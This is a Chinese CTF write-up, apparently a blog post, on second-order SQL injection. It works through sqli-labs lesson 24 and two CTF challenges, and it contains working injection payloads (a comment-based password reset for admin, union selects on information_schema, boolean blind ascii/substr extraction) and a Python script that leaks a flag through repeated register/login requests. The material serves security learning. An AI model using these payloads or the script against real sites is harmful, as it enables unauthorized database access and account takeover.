二次SQL注入

原理

用户向数据库存入恶意数据,当数据被送进数据库的时候,会对存入的信息进行转义然后再储存,但是存进去的数据会再次被转义回来(也就是原样不变的存进数据库里,只是害怕攻击者在存入数据的时候捣蛋而已),一般默认数据库里的数据都是安全的,所以当用户再次访问时,要从数据库里拿出数据来,这时候就不会再进行转义处理,此时会引起SQL注入

用基本例题来说明原理

以sql靶场的lesson24为例:

先注册一个账号 admin'# 密码随便,这时候因为经过转义,没有造成SQL注入

点击更新密码,更新username为 admin'# 的密码

在更新密码的php中有:

php 复制代码
$ sql = "UPDATE users SET PASSWORD='$ pass' where username='$ username' and password='$ curr_pass' ";

传入username=admin'#后:

php 复制代码
$ sql = "UPDATE users SET PASSWORD='$ pass' where username='admin'#' and password='$ curr_pass' ";

此时执行的就是:

cpp 复制代码
$ sql = "UPDATE users SET PASSWORD='$ pass' where username='admin'

修改的不是admin'#的密码而是admin的

也就是说我们没输入admin当前的密码就直接把admin的密码给改了

BUU October 2019 Twice SQL Injection 1

有个登录界面也有个注册界面,登进去以后有个Info上传功能

一开始想从Info入手,先上传上去SQL注入语句,这是上传的过程,然后logout,再登录进去加载Info,就是从数据库中取出数据的过程,然后执行SQL语句,但是一直没成功...

然后看了看wp才知道,原来是在register和login之间玩的啊,考。。。

先register用户名是恶意语句的账号,这时候就存进去数据库了,然后再login这个账号,此时会从数据库里掏出来这个恶意语句,然后执行SQL命令

register:username=1' union select database() #(末尾有没有 ; 都一样)

register:username=1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#

奇了老鼻子怪了,登进去就是啥也没有

跟答案一比较,感觉一模一样啊,为啥不对,然后dp:

出错的原因在于普通空格被当成分隔符,但是全角空格会被当成正常的字符,把它当成任意非空字符看,这时候就会出现单引号闭合不了的问题,产生报错

好好好这么玩是吧

剩下的内容就是常规SQL注入了

网鼎杯 2018unfinish

花了一张蓝色毛爷爷做的题,疼死我了

打开以后只有登录界面

登录界面怎么可能没有注册界面呢,尝试一下register.php

先注册一个账号,发现是在用户名处回显内容

然后再从用户名里面搞事情,但是我注册了几个诸如 1' union select database() #都登录不进去,好像是被过滤了,我所有招数都被他过滤了呜呜呜

网上看的,利用布尔盲注

全新写法,逐字符泄露database的名字

cpp 复制代码
0'+ascii(substr((select database()) from 1 for 1))+'0

username='0' + 表达式 + '0' ,也就是说在username中会回显出每一个字符的ascii码

感觉这个脚本写的还挺好的,反正我写不出来

python 复制代码
#coding:utf-8
import requests
from bs4 import BeautifulSoup
import time


url = 'http://node4.anna.nssctf.cn:28137/'

m = ''
for i in range(100):
    #payload = "0'+ascii(substr((select database()) from {} for 1))+'0".format(i + 1)
    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)#判断每一位ascii码是多少
    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
    req = requests.session()
    r1 = req.post(url+'register.php',data = register)
    r2 = req.post(url+'login.php', data = login)
    r3 = req.post(url+'index.php')
    html = r3.text
    #print(html)
    soup = BeautifulSoup(html,'html.parser')
    #print(soup.prettify())
    UserName = soup.span.string
    print(UserName)
    if int(UserName) == 0:
        break
    m += chr(int(UserName))
    print(m)
    time.sleep(1)
相关推荐
777VG18 小时前
PostgreSQL +martin将多张表输出成一个 MVT
前端·数据库·postgresql
跟着珅聪学java18 小时前
MERGE INTO开发教程
sql
aax121345318 小时前
VOC 集群治理工程实操|美丽蓝天绿岛项目 RTO 工艺选型、管控方案与申报要
大数据·数据库·人工智能
IvorySQL19 小时前
PG 日报|优化缓冲区批量扫描,降低多套接字并发竞争
数据库·人工智能·postgresql·开源·区块链
这个DBA有点耶19 小时前
交易型数据库是什么?OLTP核心能力与2026选型指南
数据库·数据仓库·sql·database·数据库架构·olap·dba
大熊猫侯佩19 小时前
WWDC26 全新 SwiftData 的 .codable 宏选项:它不是泛型专用胶水
数据库·swift·apple
童谣121 小时前
越华环保集团市级统筹申报数字化中台:政策校验与减排仿真一体化架构
数据库·架构
制造数据与AI践行者老蒋21 小时前
离谱!PromptTemplate 遇上 JSON,花括号直接引发解析战争
数据库·microsoft·json
中微极客1 天前
用LangChain 0.3构建生产级RAG与Agent:从API集成到Streamlit部署
数据库·人工智能·langchain
吴声子夜歌1 天前
MongoDB 4.x——并发优化
数据库·mongodb